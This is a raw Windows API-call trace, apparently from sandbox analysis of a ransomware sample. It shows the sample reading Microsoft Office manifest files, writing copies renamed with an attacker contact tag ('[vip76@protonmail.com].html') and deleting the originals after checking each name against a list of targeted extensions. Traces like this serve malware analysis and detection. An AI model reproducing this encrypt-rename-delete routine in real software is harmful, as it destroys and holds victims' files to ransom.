	[0068.195] WriteFile (in: hFile=0x334, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0x573f0, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0x573f0, lpOverlapped=0x0) returned 1
	[0068.203] ReadFile (in: hFile=0x328, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0068.203] WriteFile (in: hFile=0x334, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0x13e, lpOverlapped=0x0) returned 1
	[0068.204] SetEndOfFile (hFile=0x334) returned 1
	[0068.204] CloseHandle (hObject=0x334) returned 1
	[0068.212] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.212] SetEndOfFile (hFile=0x328) returned 1
	[0068.216] CloseHandle (hObject=0x328) returned 1
	[0068.216] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0068.216] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0090-0000-1000-0000000ff1ce.xml")) returned 1
	[0068.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 104
	[0068.216] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 104
	[0068.216] lstrlenW (lpString=".doc") returned 4
	[0068.216] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0068.216] lstrlenW (lpString=".docx") returned 5
	[0068.216] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0068.216] lstrlenW (lpString=".pdf") returned 4
	[0068.217] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0068.217] lstrlenW (lpString=".xls") returned 4
	[0068.217] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0068.217] lstrlenW (lpString=".xlsx") returned 5
	[0068.217] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0068.217] lstrlenW (lpString=".ppt") returned 4
	[0068.217] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0068.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 104
	[0068.217] lstrlenW (lpString=".zip") returned 4
	[0068.217] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0068.217] lstrlenW (lpString=".rar") returned 4
	[0068.217] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0068.217] lstrlenW (lpString=".bz2") returned 4
	[0068.217] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0068.217] lstrlenW (lpString=".7z") returned 3
	[0068.217] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0068.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 104
	[0068.217] lstrlenW (lpString=".dbf") returned 4
	[0068.217] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0068.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 104
	[0068.217] lstrlenW (lpString=".1cd") returned 4
	[0068.217] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0068.217] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 104
	[0068.217] lstrlenW (lpString=".jpg") returned 4
	[0068.217] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0068.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 104
	[0068.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 104
	[0068.218] lstrlenW (lpString=".doc") returned 4
	[0068.218] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0068.218] lstrlenW (lpString=".docx") returned 5
	[0068.218] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0068.218] lstrlenW (lpString=".pdf") returned 4
	[0068.218] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0068.218] lstrlenW (lpString=".xls") returned 4
	[0068.218] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0068.218] lstrlenW (lpString=".xlsx") returned 5
	[0068.218] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0068.218] lstrlenW (lpString=".ppt") returned 4
	[0068.218] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0068.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 104
	[0068.218] lstrlenW (lpString=".zip") returned 4
	[0068.218] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0068.218] lstrlenW (lpString=".rar") returned 4
	[0068.218] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0068.218] lstrlenW (lpString=".bz2") returned 4
	[0068.218] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0068.218] lstrlenW (lpString=".7z") returned 3
	[0068.218] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0068.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 104
	[0068.218] lstrlenW (lpString=".dbf") returned 4
	[0068.218] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0068.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 104
	[0068.218] lstrlenW (lpString=".1cd") returned 4
	[0068.218] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0068.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0000-1000-0000000FF1CE.xml") returned 104
	[0068.219] lstrlenW (lpString=".jpg") returned 4
	[0068.219] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0068.219] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1
	[0068.219] lstrlenW (lpString="AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 53
	[0068.219] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0068.219] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x34dff14 | out: lpFileSize=0x34dff14*=65002) returned 1
	[0068.219] CloseHandle (hObject=0x328) returned 1
	[0068.220] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0000-1000-0000000ff1ce.xml")) returned 0x220
	[0068.220] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0000-1000-0000000ff1ce.xml.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0068.220] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0068.220] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.220] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.220] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0000-1000-0000000ff1ce.xml.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0068.247] GetLastError () returned 0x0
	[0068.247] ReadFile (in: hFile=0x328, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0xfdea, lpOverlapped=0x0) returned 1
	[0068.300] WriteFile (in: hFile=0x334, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0xfdf0, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0xfdf0, lpOverlapped=0x0) returned 1
	[0068.302] ReadFile (in: hFile=0x328, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0068.302] WriteFile (in: hFile=0x334, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0x13e, lpOverlapped=0x0) returned 1
	[0068.302] SetEndOfFile (hFile=0x334) returned 1
	[0068.302] CloseHandle (hObject=0x334) returned 1
	[0068.304] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.304] SetEndOfFile (hFile=0x328) returned 1
	[0068.306] CloseHandle (hObject=0x328) returned 1
	[0068.306] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0068.306] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0000-1000-0000000ff1ce.xml")) returned 1
	[0068.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104
	[0068.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104
	[0068.309] lstrlenW (lpString=".doc") returned 4
	[0068.309] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0068.309] lstrlenW (lpString=".docx") returned 5
	[0068.309] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0068.309] lstrlenW (lpString=".pdf") returned 4
	[0068.309] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0068.309] lstrlenW (lpString=".xls") returned 4
	[0068.309] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0068.309] lstrlenW (lpString=".xlsx") returned 5
	[0068.309] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0068.309] lstrlenW (lpString=".ppt") returned 4
	[0068.309] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0068.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104
	[0068.309] lstrlenW (lpString=".zip") returned 4
	[0068.309] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0068.309] lstrlenW (lpString=".rar") returned 4
	[0068.309] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0068.309] lstrlenW (lpString=".bz2") returned 4
	[0068.309] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0068.309] lstrlenW (lpString=".7z") returned 3
	[0068.309] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0068.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104
	[0068.310] lstrlenW (lpString=".dbf") returned 4
	[0068.310] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0068.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104
	[0068.310] lstrlenW (lpString=".1cd") returned 4
	[0068.310] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0068.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104
	[0068.310] lstrlenW (lpString=".jpg") returned 4
	[0068.310] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0068.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104
	[0068.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104
	[0068.310] lstrlenW (lpString=".doc") returned 4
	[0068.310] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0068.310] lstrlenW (lpString=".docx") returned 5
	[0068.310] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0068.310] lstrlenW (lpString=".pdf") returned 4
	[0068.310] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0068.310] lstrlenW (lpString=".xls") returned 4
	[0068.310] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0068.310] lstrlenW (lpString=".xlsx") returned 5
	[0068.310] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0068.310] lstrlenW (lpString=".ppt") returned 4
	[0068.310] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0068.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104
	[0068.310] lstrlenW (lpString=".zip") returned 4
	[0068.310] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0068.310] lstrlenW (lpString=".rar") returned 4
	[0068.310] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0068.310] lstrlenW (lpString=".bz2") returned 4
	[0068.310] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0068.310] lstrlenW (lpString=".7z") returned 3
	[0068.310] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0068.310] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104
	[0068.311] lstrlenW (lpString=".dbf") returned 4
	[0068.311] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0068.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104
	[0068.311] lstrlenW (lpString=".1cd") returned 4
	[0068.311] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0068.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104
	[0068.311] lstrlenW (lpString=".jpg") returned 4
	[0068.311] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0068.311] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1
	[0068.311] lstrlenW (lpString="AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 53
	[0068.311] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0068.311] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x34dff14 | out: lpFileSize=0x34dff14*=9216) returned 1
	[0068.311] CloseHandle (hObject=0x328) returned 1
	[0068.311] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0000-1000-0000000ff1ce.xml")) returned 0x220
	[0068.311] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0000-1000-0000000ff1ce.xml.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0068.311] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0068.312] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.312] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.312] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0000-1000-0000000ff1ce.xml.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0068.312] GetLastError () returned 0x0
	[0068.312] ReadFile (in: hFile=0x328, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x2400, lpOverlapped=0x0) returned 1
	[0068.523] WriteFile (in: hFile=0x334, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0x2410, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0x2410, lpOverlapped=0x0) returned 1
	[0068.524] ReadFile (in: hFile=0x328, lpBuffer=0x3eff020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesRead=0x34dfecc*=0x0, lpOverlapped=0x0) returned 1
	[0068.524] WriteFile (in: hFile=0x334, lpBuffer=0x3eff020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x34dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3eff020*, lpNumberOfBytesWritten=0x34dfc94*=0x13e, lpOverlapped=0x0) returned 1
	[0068.524] SetEndOfFile (hFile=0x334) returned 1
	[0068.524] CloseHandle (hObject=0x334) returned 1
	[0068.525] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34dfec0 | out: lpNewFilePointer=0x0) returned 1
	[0068.525] SetEndOfFile (hFile=0x328) returned 1
	[0068.526] CloseHandle (hObject=0x328) returned 1
	[0068.526] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0068.527] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0000-1000-0000000ff1ce.xml")) returned 1
	[0068.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104
	[0068.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104
	[0068.528] lstrlenW (lpString=".doc") returned 4
	[0068.528] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0068.528] lstrlenW (lpString=".docx") returned 5
	[0068.528] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0068.528] lstrlenW (lpString=".pdf") returned 4
	[0068.528] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0068.528] lstrlenW (lpString=".xls") returned 4
	[0068.528] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0068.528] lstrlenW (lpString=".xlsx") returned 5
	[0068.528] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0068.528] lstrlenW (lpString=".ppt") returned 4
	[0068.528] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0068.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104
	[0068.528] lstrlenW (lpString=".zip") returned 4
	[0068.528] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0068.529] lstrlenW (lpString=".rar") returned 4
	[0068.529] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0068.529] lstrlenW (lpString=".bz2") returned 4
	[0068.529] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0068.529] lstrlenW (lpString=".7z") returned 3
	[0068.529] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0068.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104
	[0068.529] lstrlenW (lpString=".dbf") returned 4
	[0068.529] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0068.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104
	[0068.529] lstrlenW (lpString=".1cd") returned 4
	[0068.529] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0068.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104
	[0068.529] lstrlenW (lpString=".jpg") returned 4
	[0068.529] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0068.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104
	[0068.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104
	[0068.529] lstrlenW (lpString=".doc") returned 4
	[0068.529] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0068.529] lstrlenW (lpString=".docx") returned 5
	[0068.529] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1
	[0068.529] lstrlenW (lpString=".pdf") returned 4
	[0068.529] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0068.529] lstrlenW (lpString=".xls") returned 4
	[0068.529] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0068.529] lstrlenW (lpString=".xlsx") returned 5
	[0068.529] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1
	[0068.529] lstrlenW (lpString=".ppt") returned 4
	[0068.529] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0068.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104
	[0068.529] lstrlenW (lpString=".zip") returned 4
	[0068.530] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0068.530] lstrlenW (lpString=".rar") returned 4
	[0068.530] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0068.530] lstrlenW (lpString=".bz2") returned 4
	[0068.530] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0068.530] lstrlenW (lpString=".7z") returned 3
	[0068.530] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0068.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104
	[0068.530] lstrlenW (lpString=".dbf") returned 4
	[0068.530] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0068.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104
	[0068.530] lstrlenW (lpString=".1cd") returned 4
	[0068.530] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0068.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 104
	[0068.530] lstrlenW (lpString=".jpg") returned 4
	[0068.530] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0068.530] lstrcmpiW (lpString1=".xml", lpString2=".html") returned 1
	[0068.530] lstrlenW (lpString="AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml") returned 53
	[0068.530] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0068.530] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x34dff14 | out: lpFileSize=0x34dff14*=399528) returned 1
	[0068.530] CloseHandle (hObject=0x328) returned 1
	[0068.531] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00C1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00c1-0000-1000-0000000ff1ce.xml")) returned 0x220
